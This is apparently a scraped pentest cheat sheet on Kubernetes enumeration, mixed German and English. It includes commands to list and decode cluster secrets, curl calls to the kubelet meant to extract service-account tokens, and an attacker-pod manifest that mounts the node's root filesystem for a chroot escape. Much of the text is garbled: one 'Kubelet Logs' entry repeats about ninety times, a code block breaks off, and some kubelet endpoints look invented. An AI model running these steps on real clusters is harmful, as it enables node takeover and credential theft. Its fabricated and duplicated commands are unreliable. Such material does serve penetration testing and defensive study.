RBAC

List all roles in the cluster:
```
kubectl get roles --all-namespaces
```
List all role bindings in the cluster:
```
kubectl get rolebindings --all-namespaces
```
List all cluster roles in the cluster:
```
kubectl get clusterroles
```
List all cluster role bindings in the cluster:
```
kubectl get clusterrolebindings
```

Network Policies

List all network policies in the cluster:
```
kubectl get networkpolicies --all-namespaces
```

Get detailed information about a specific network policy:

kubectl describe networkpolicy <network-policy-name> -n <namespace>

Storage Classes

List all storage classes in the cluster:
```
kubectl get storageclasses
```
Get detailed information about a specific storage class:
```
kubectl describe storageclass <storage-class-name>
```

Persistent Volumes

List all persistent volumes in the cluster:
```
kubectl get persistentvolumes
```
Get detailed information about a specific persistent volume:
```
kubectl describe persistentvolume <persistent-volume-name>
```

Secrets

List all secrets in the cluster:
```
kubectl get secrets --all-namespaces
```
Get detailed information about a specific secret:
```
kubectl describe secret <secret-name> -n <namespace>
```

Decode a secret:

kubectl get secret <secret-name> -n <namespace> -o jsonpath="{.data.<data-key>}" | base64 -d

Config Maps

List all config maps in the cluster:
```
kubectl get configmaps --all-namespaces
```

Get detailed information about a specific config map:

kubectl describe configmap <config-map-name> -n <namespace>

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Erhalten Sie Cronjob

Cron-Jobs ermöglichen es, mit einer Crontab-ähnlichen Syntax die Planung des Starts eines Pods zu planen, der eine bestimmte Aktion ausführt.

k get cronjobs

Kubernetes-Enumeration

Kubelet

API-Server

1.1. Get the API-Server IP from the kubelet service:

curl -s http://localhost:10255/pods/ | jq -r '.items[].status.hostIP' | sort -u

1.2. Get the API-Server IP from the kubelet service (alternative method):

curl -s http://localhost:10255/pods/ | jq -r '.items[].status.podIP' | sort -u

Service-Account Token

2.1. Get the service-account token from the kubelet service:

curl -s http://localhost:10255/secrets/ | jq -r '.items[].metadata.name' | sort -u

2.2. Get the service-account token content:

curl -s http://localhost:10255/secrets/<secret_name> | jq -r '.data.token' | base64 -d

Kubelet Version
3.1. Get the kubelet version:
```
curl -s http://localhost:10255/version
```
Kubelet Configuration
4.1. Get the kubelet configuration:
```
curl -s http://localhost:10255/configz
```
Kubelet Logs
5.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet RunPodSandbox
6.1. Check if you can run a pod sandbox:
```
curl -s http://localhost:10255/runPodSandbox
```
Kubelet Exec
7.1. Check if you can execute commands in a pod:
```
curl -s http://localhost:10255/exec
```
Kubelet Port-Forward
8.1. Check if you can port-forward to a pod:
```
curl -s http://localhost:10255/portForward
```
Kubelet Attach
9.1. Check if you can attach to a pod:
```
curl -s http://localhost:10255/attach
```
Kubelet Logs
10.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Metrics
11.1. Get the kubelet metrics:
```
curl -s http://localhost:10255/metrics
```
Kubelet Healthz
12.1. Check the kubelet health:
```
curl -s http://localhost:10255/healthz
```
Kubelet CRI-Socket
13.1. Check the CRI socket:
```
curl -s http://localhost:10255/cri/ | jq
```
Kubelet Logs
14.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
15.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
16.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
17.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
18.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
19.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
20.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
21.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
22.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
23.1. Get the kubelet logs:
```
curl -s http://jsonpath.com
```
Kubelet Logs
24.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
25.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
26.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
27.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
28.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
29.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
30.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
31.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
32.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
33.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
34.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
35.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
36.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
37.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
38.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
39.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
40.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
41.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
42.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
43.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
44.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
45.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
46.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
47.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
48.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
49.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
50.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
51.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
52.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
53.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
54.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
55.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
56.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
57.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
58.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
59.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
60.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
61.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
62.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
63.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
64.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
65.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
66.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
67.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
68.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
69.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
70.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
71.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
72.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
73.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
74.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
75.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
76.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
77.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
78.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
79.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
80.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
81.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
82.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
83.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
84.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
85.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
86.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
87.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
88.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
89.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
90.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
91.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
92.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
93.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
94.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
95.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
96.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
97.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
98.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs
99.1. Get the kubelet logs:
```
curl -s http://localhost:10255/logs/
```
Kubelet Logs

100.1. Get the kubelet logs:

```bash
curl

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Erhalten von configMap

configMap enthält immer viele Informationen und Konfigurationsdateien, die den in Kubernetes ausgeführten Apps bereitgestellt werden. Normalerweise finden Sie viele Passwörter, Geheimnisse und Tokens, die zur Verbindung und Validierung mit anderen internen/externen Diensten verwendet werden.

k get configmaps # -n namespace

Kubernetes-Enumeration

Service Accounts

Beschreibung: Service Accounts sind standardmäßig in jedem Namespace vorhanden und können verwendet werden, um Pods zu authentifizieren.
Befehle:
- kubectl get serviceaccounts --all-namespaces: Zeigt alle Service Accounts in allen Namespaces an.
- kubectl get serviceaccounts <service-account-name> -n <namespace>: Zeigt Informationen zu einem bestimmten Service Account an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, die Berechtigungen des Service Accounts zu missbrauchen, um auf Ressourcen zuzugreifen oder Aktionen im Cluster auszuführen.

Secrets

Beschreibung: Secrets werden verwendet, um sensible Informationen wie Passwörter, Tokens oder Zertifikate zu speichern.
Befehle:
- kubectl get secrets --all-namespaces: Zeigt alle Secrets in allen Namespaces an.
- kubectl get secrets <secret-name> -n <namespace>: Zeigt Informationen zu einem bestimmten Secret an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, sensible Informationen aus den Secrets zu extrahieren, um Zugriff auf geschützte Ressourcen zu erhalten.

ConfigMaps

Beschreibung: ConfigMaps werden verwendet, um Konfigurationsdaten in Form von Schlüssel-Wert-Paaren zu speichern.
Befehle:
- kubectl get configmaps --all-namespaces: Zeigt alle ConfigMaps in allen Namespaces an.
- kubectl get configmaps <configmap-name> -n <namespace>: Zeigt Informationen zu einer bestimmten ConfigMap an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, sensible Konfigurationsdaten aus den ConfigMaps zu extrahieren, um Schwachstellen im Cluster auszunzen.

Ingress

Beschreibung: Ingress-Ressourcen definieren den Zugriff auf HTTP- und HTTPS-Routen von außerhalb des Clusters.
Befehle:
- kubectl get ingresses --all-namespaces: Zeigt alle Ingress-Ressourcen in allen Namespaces an.
- kubectl get ingresses <ingress-name> -n <namespace>: Zeigt Informationen zu einer bestimmten Ingress-Ressource an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, Schwachstellen in der Konfiguration von Ingress-Ressourcen auszunutzen, um nicht autorisierten Zugriff auf Anwendungen im Cluster zu erlangen.

Network Policies

Beschreibung: Network Policies legen fest, wie Pods miteinander und mit anderen Ressourcen kommunizieren können.
Befehle:
- kubectl get networkpolicies --all-namespaces: Zeigt alle Network Policies in allen Namespaces an.
- kubectl get networkpolicies <network-policy-name> -n <namespace>: Zeigt Informationen zu einer bestimmten Network Policy an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, die Netzwerkkommunikation im Cluster zu manipulieren, um Zugriff auf sensible Daten oder Ressourcen zu erhalten.

Persistent Volumes

Beschreibung: Persistent Volumes sind Speicherressourcen, die von Pods genutzt werden können.
Befehle:
- kubectl get persistentvolumes: Zeigt alle Persistent Volumes im Cluster an.
- kubectl get persistentvolumeclaims --all-namespaces: Zeigt alle Persistent Volume Claims in allen Namespaces an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, auf ungeschützte Persistent Volumes zuzugreifen, um Daten zu stehlen oder zu manipulieren.

Roles und Role Bindings

Beschreibung: Roles definieren Berechtigungen auf Ressourcenebene, während Role Bindings diese Roles mit Benutzern oder Service Accounts verknüpfen.
Befehle:
- kubectl get roles --all-namespaces: Zeigt alle Roles in allen Namespaces an.
- kubectl get rolebindings --all-namespaces: Zeigt alle Role Bindings in allen Namespaces an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, über unzureichend konfigurierte Roles und Role Bindings erhöhte Berechtigungen im Cluster zu erlangen.

Pod Security Policies

Beschreibung: Pod Security Policies legen fest, welche Sicherheitsrichtlinien Pods einhalten müssen.
Befehle:
- kubectl get podsecuritypolicies --all-namespaces: Zeigt alle Pod Security Policies im Cluster an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, Pods zu erstellen, die die definierten Sicherheitsrichtlinien umgehen, um bösartige Aktionen im Cluster auszuführen.

Custom Resource Definitions (CRDs)

Beschreibung: CRDs ermöglichen die Erweiterung der Kubernetes-API durch benutzerdefinierte Ressourcentypen.
Befehle:
- kubectl get customresourcedefinitions.apiextensions.k8s.io: Zeigt alle CRDs im Cluster an.
Potenzielle Auswirkungen: Ein Angreifer kann versuchen, Schwachstellen in benutzerdefinierten Ressourcentypen auszunutzen, um das Verhalten des Clusters zu manipulieren.

Weitere Befehle

kubectl get pods --all-namespaces: Zeigt alle Pods in allen Namespaces an.
kubectl get deployments --all-namespaces: Zeigt alle Deployments in allen Namespaces an.
kubectl get services --all-namespaces: Zeigt alle Services in allen Namespaces an.
kubectl get nodes: Zeigt alle Nodes im Cluster an.
kubectl get namespaces: Zeigt alle Namespaces im Cluster an.

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Holen Sie sich "alle"

k get all

Pod-Verbrauch erhalten

k top pod --all-namespaces

Entkommen aus dem Pod

Wenn Sie in der Lage sind, neue Pods zu erstellen, könnten Sie in der Lage sein, aus ihnen auf den Knoten zu entkommen. Um dies zu tun, müssen Sie einen neuen Pod mithilfe einer YAML-Datei erstellen, zum erstellten Pod wechseln und dann in das System des Knotens chrooten. Sie können bereits vorhandene Pods als Referenz für die YAML-Datei verwenden, da sie vorhandene Bilder und Pfade anzeigen.

kubectl get pod <name> [-n <namespace>] -o yaml

Wenn Sie ein Pod auf einem bestimmten Knoten erstellen müssen, können Sie den folgenden Befehl verwenden, um die Labels auf dem Knoten zu erhalten
k get nodes --show-labels
Üblicherweise sind kubernetes.io/hostname und node-role.kubernetes.io/master alle gute Labels zur Auswahl.

Dann erstellen Sie Ihre attack.yaml Datei

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

Nachdem Sie das getan haben, erstellen Sie das Pod.

kubectl apply -f attacker.yaml [-n <namespace>]

Jetzt können Sie zum erstellten Pod wie folgt wechseln:

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Und schließlich chrooten Sie in das System des Knotens

chroot /root /bin/bash

Informationen erhalten von: Kubernetes Namespace Breakout using Insecure Host Path Volume — Teil 1 Angriff und Verteidigung von Kubernetes: Bust-A-Kube – Episode 1

Referenzen

Kubernetes Pentest Methodology Part 3CyberArk

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.

PreviousAttacking Kubernetes from inside a Pod NextKubernetes Role-Based Access Control(RBAC)

Last updated 2 months ago

Kubernetes Tokens

Service Account Tokens

Hot Pods

RBAC

Enumeration CheatSheet

Unterschiede zwischen den Verben list und get

Mit curl

Verwendung von kubectl

MitM kubectl - Proxyfying kubectl

Aktuelle Konfiguration

Unterstützte Ressourcen abrufen

Aktuelle Berechtigungen erhalten

Kubernetes-Enumeration

Erhalten Sie andere Rollen

Kubernetes-Enumeration

Erhalte Namespaces

Geheime Informationen erhalten

Kubernetes-Enumeration

Service Accounts abrufen

Erhalte Bereitstellungen

Pods abrufen

Kubernetes-Enumeration

Erhalte Dienste

Kubernetes-Enumeration

Knoten abrufen

Erhalte DaemonSets

Kubernetes-Enumeration

Erhalten Sie Cronjob

Kubernetes-Enumeration

Kubelet

Erhalten von configMap

Kubernetes-Enumeration

Holen Sie sich "alle"

Pod-Verbrauch erhalten

Entkommen aus dem Pod

Referenzen

Unterschiede zwischen den Verben `list` und `get`